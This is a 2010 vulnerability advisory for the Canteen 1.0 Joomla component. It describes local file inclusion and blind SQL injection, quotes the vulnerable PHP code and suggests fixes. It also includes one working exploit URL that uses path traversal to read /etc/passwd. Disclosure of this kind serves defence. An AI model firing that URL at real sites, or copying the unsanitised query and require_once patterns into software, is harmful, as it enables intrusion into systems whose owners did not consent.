Canteen Joomla Component 1.0 Multiple Remote Vulnerabilities Name Canteen Vendor http://www.miniwork.eu Versions Affected 1.0 Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-04-07 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION Canteen is a Joomla 1.5 component. This component is written for canteens. You can easily manage daily menu with this component. II. DESCRIPTION Some parameters are not sanitised before being used in SQL queries and in danger PHP's functions. III. ANALYSIS Summary: A) Local File Inclusion B) Multiple Blind SQL Injection A) Local File Inclusion The controller parameter in canteen.php is not sanitised before being used in the PHP function's require_once(). This allows a guest to include local files. The following is the affected code: if($controller = JRequest::getVar('controller')) { require_once (JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php'); } B) Multiple Blind SQL Injection The meailid parameter in menu.php is not properly before being used in multiple SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The following is the affected code: $mealid = JRequest::getVar('mealid'); $SQLQuery = "INSERT INTO #__miniwork_canteen_order (jo_userid, jo_mealid, jo_created, jo_createdby, jo_changed, jo_changedby) VALUES (".$user->id.", ".$mealid.", NOW(), '".$user->sSecondName." ".$user->sFirstName."', NOW(), '".$user->sSecondName." ".$user->sFirstName."')"; $mealid = JRequest::getVar('mealid'); $SQLQuery = "DELETE FROM #__miniwork_canteen_order WHERE jo_mealid = ".$mealid." AND jo_userid = ".$orduser->id.";"; $mealid = JRequest::getVar('mealid'); $SQLQuery = "UPDATE #__miniwork_canteen_order SET jo_userid = ".$orduser->id.", jo_changed=NOW(), jo_changedby='".$orduser->sSecondName." ".$orduser->sFirstName."' WHERE jo_mealid=".$mealid." AND jo_userid is null LIMIT 1;"; IV. SAMPLE CODE A) Local File Inclusion http://site/path/index.php?option=com_canteen&controller=../../../../../etc/passwd%00 V. FIX Checking for path traversal sequence and useing of PHP function's intval() for integer values.